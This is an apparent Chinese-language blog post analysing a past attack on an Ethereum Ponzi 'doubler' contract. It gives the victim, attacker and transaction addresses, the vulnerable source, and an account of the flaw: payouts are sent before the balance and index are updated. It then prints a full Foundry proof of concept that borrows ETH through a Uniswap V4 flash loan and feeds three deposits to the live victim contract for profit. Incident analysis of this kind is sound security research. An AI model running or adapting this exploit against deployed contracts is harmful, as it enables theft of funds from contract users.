一种之前很流行的旁氏,我暂且叫:Pangzi类吧(狗头)

漏洞合约: https://app.dedaub.com/ethereum/address/0xe6329d65ebcc5cbccdd719d7b18ac9e220dca145/decompiled
攻击tx:https://etherscan.io/tx/0xf174c30f1becd1fad7c21a8eda50c958cf30bb662f218e5c5e65b7ec441fc545
攻击者:0xb561258b4bf282d1e5329d675b6f399d691d444c
Exp:0xfBb9224f20163A044Dd2CB55f01A94E0fD140a24

个损失金额也不大, 为什么要写这个合约漏洞。
这个合约漏洞出自我要写的参考论文里面。很多类似合约:

分析

我们先直接看攻击事件中的调用:
首先直接定位到受到攻击的合约中:

发现攻击合约调用了3次受害合约的fallback()
根据反编译的标签StackyGame,可以在github找到类似源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
contract StackyGame {

struct Participant {
address etherAddress;
uint amount;
}

Participant[] public participants;

uint public payoutIdx = 0;
uint public collectedFees;
uint public balance = 0;

address public owner;

// simple single-sig function modifier
modifier onlyowner { if (msg.sender == owner) _ }

// this function is executed at initialization and sets the owner of the contract
function Doubler() {
owner = msg.sender;
}

// fallback function - simple transactions trigger this
function() {
enter();
}

function enter() {
// Maximum of 1 ether allowed
if (msg.value > 1 ether) {
msg.sender.send(msg.value);
return;
}

// add a new participant to array
uint idx = participants.length;
participants.length += 1;
participants[idx].etherAddress = msg.sender;
participants[idx].amount = msg.value;

// collect fees and update contract balance
if (idx != 0) {
collectedFees += msg.value * 1 / 20;
balance += msg.value;
} else {
// first participant has no one above him,
// so it goes all to fees
collectedFees += msg.value;
}

// if there are enough ether on the balance we can pay out to an earlier participant
if (balance > participants[payoutIdx].amount * 2) {
uint transactionAmount = 2 * (participants[payoutIdx].amount - participants[payoutIdx].amount / 20);
participants[payoutIdx].etherAddress.send(transactionAmount);

balance -= participants[payoutIdx].amount * 2;
payoutIdx += 1;
}
}

function collectFees() onlyowner {
if (collectedFees == 0) return;

owner.send(collectedFees);
collectedFees = 0;
}

function setOwner(address _owner) onlyowner {
owner = _owner;
}
}

这个合约本质上是一个旁氏合约:新参与者被记录在 participants 数组中,后来的参与者出钱,早期参与者拿双倍回报。

enter() 在 对外发送 ETH 之后才更新关键状态 balance 和 payoutIdx,且没有检查 send 返回值:
说明:send() 只提供 2300 gas,可能执行失败;如果失败,send() 返回 false,但调用者合约不会自动回滚。

1
2
3
participants[payoutIdx].etherAddress.send(transactionAmount); // 这一步钱先出去了 
balance -= participants[payoutIdx].amount * 2; // 账本才改
payoutIdx += 1 // 索引才动

如果 participants [payoutIdx ] .etherAddress是一个合约,它在执行这一块
participants[payoutIdx].etherAddress.send(transactionAmount);
接收 ETH 时就会触发fallback 。

所以根据tx我们直接写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "forge-std/Test.sol";
interface IPoolManager {
function unlock(bytes calldata data) external returns (bytes memory);
function take(address currency, address to, uint256 amount) external;
function settle() external payable returns (uint256);
}

interface IDoublerVictim {
function balance() external view returns (uint256);
function payoutIdx() external view returns (uint256);
function participants() external view returns (uint256);
}

contract AttackContract {
address public constant PM = 0x000000000004444c5dc75cB358380D2e3dE08A90;
address public constant VICTIM = 0xE6329d65eBcc5CBCcdD719D7b18ac9E220Dca145;
// uint256 public constant NATIVE = 0;
address public constant NATIVE = address(0);
//这个得注意下 看tx是 Null Address 在实际中0x有时候是地址有时候是byte
bool private attacking;

function triggerAttack() external {
IPoolManager(PM).unlock("");
selfdestruct(payable(msg.sender));
}

function unlockCallback(bytes calldata) external payable returns (bytes memory) {
require(msg.sender == PM, "not manager");

if (attacking) return new bytes(0);
attacking = true;

IPoolManager(PM).take(NATIVE, address(this), 3 ether);

payable(VICTIM).call{value: 0.1 ether}("");
payable(VICTIM).call{value: 0.9 ether}("");
payable(VICTIM).call{value: 1.7 ether}("");

IPoolManager(PM).settle{value: 3 ether}();

attacking = false;
return new bytes(0);
}
receive() external payable {}
fallback() external payable {}
}

contract AttackTest is Test {
address constant VICTIM = 0xE6329d65eBcc5CBCcdD719D7b18ac9E220Dca145;
address constant PM = 0x000000000004444c5dc75cB358380D2e3dE08A90;
AttackContract attackContract;
address attacker;

function setUp() public {
attacker = address(this);
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 23575460);
vm.startPrank(attacker);
attackContract = new AttackContract();
vm.stopPrank();
console.log("Attacker:", attacker);
console.log("Attack Contract:", address(attackContract));
console.log("Victim Contract:", VICTIM);
console.log("UNIV4PoolManager:", PM);
}

function testAttack() public {
uint256 attackerBalanceBefore = attacker.balance;

uint256 payoutIdxBefore = 0;
try IDoublerVictim(VICTIM).payoutIdx() returns (uint256 idx) {
payoutIdxBefore = idx;
} catch {}

console.log("\n=== Attack ===");
vm.prank(attacker);
attackContract.triggerAttack();

uint256 attackerBalanceAfter = attacker.balance;
uint256 payoutIdxAfter = 0;
try IDoublerVictim(VICTIM).payoutIdx() returns (uint256 idx) {
payoutIdxAfter = idx;
} catch {}

int256 netProfit = int256(attackerBalanceAfter) - int256(attackerBalanceBefore);
console.log("Victim PayoutIdx:", payoutIdxAfter - payoutIdxBefore);
console.log("Net Profit (Wei):", netProfit);

assertTrue(netProfit > int256(0.5 ether), "Attack should profit > 0.5 ETH");
}

receive() external payable {}
}

Foundry这里有个bug::当时一直进不去闪电贷,然后再官方群问了下这样回答的,然后解决了。

类似合约:
https://github.com/cakcora/Chainoba/blob/83a7000c4aa8020481771c0956a9918a335fc2f5/anomaly/PonziData.txt#L68

打的时候会发现很多都无法利用,甚至都是亏钱的,其实问题出在我们攻击的合约的计算这里:

开发者应该是想写1的 结果写成98了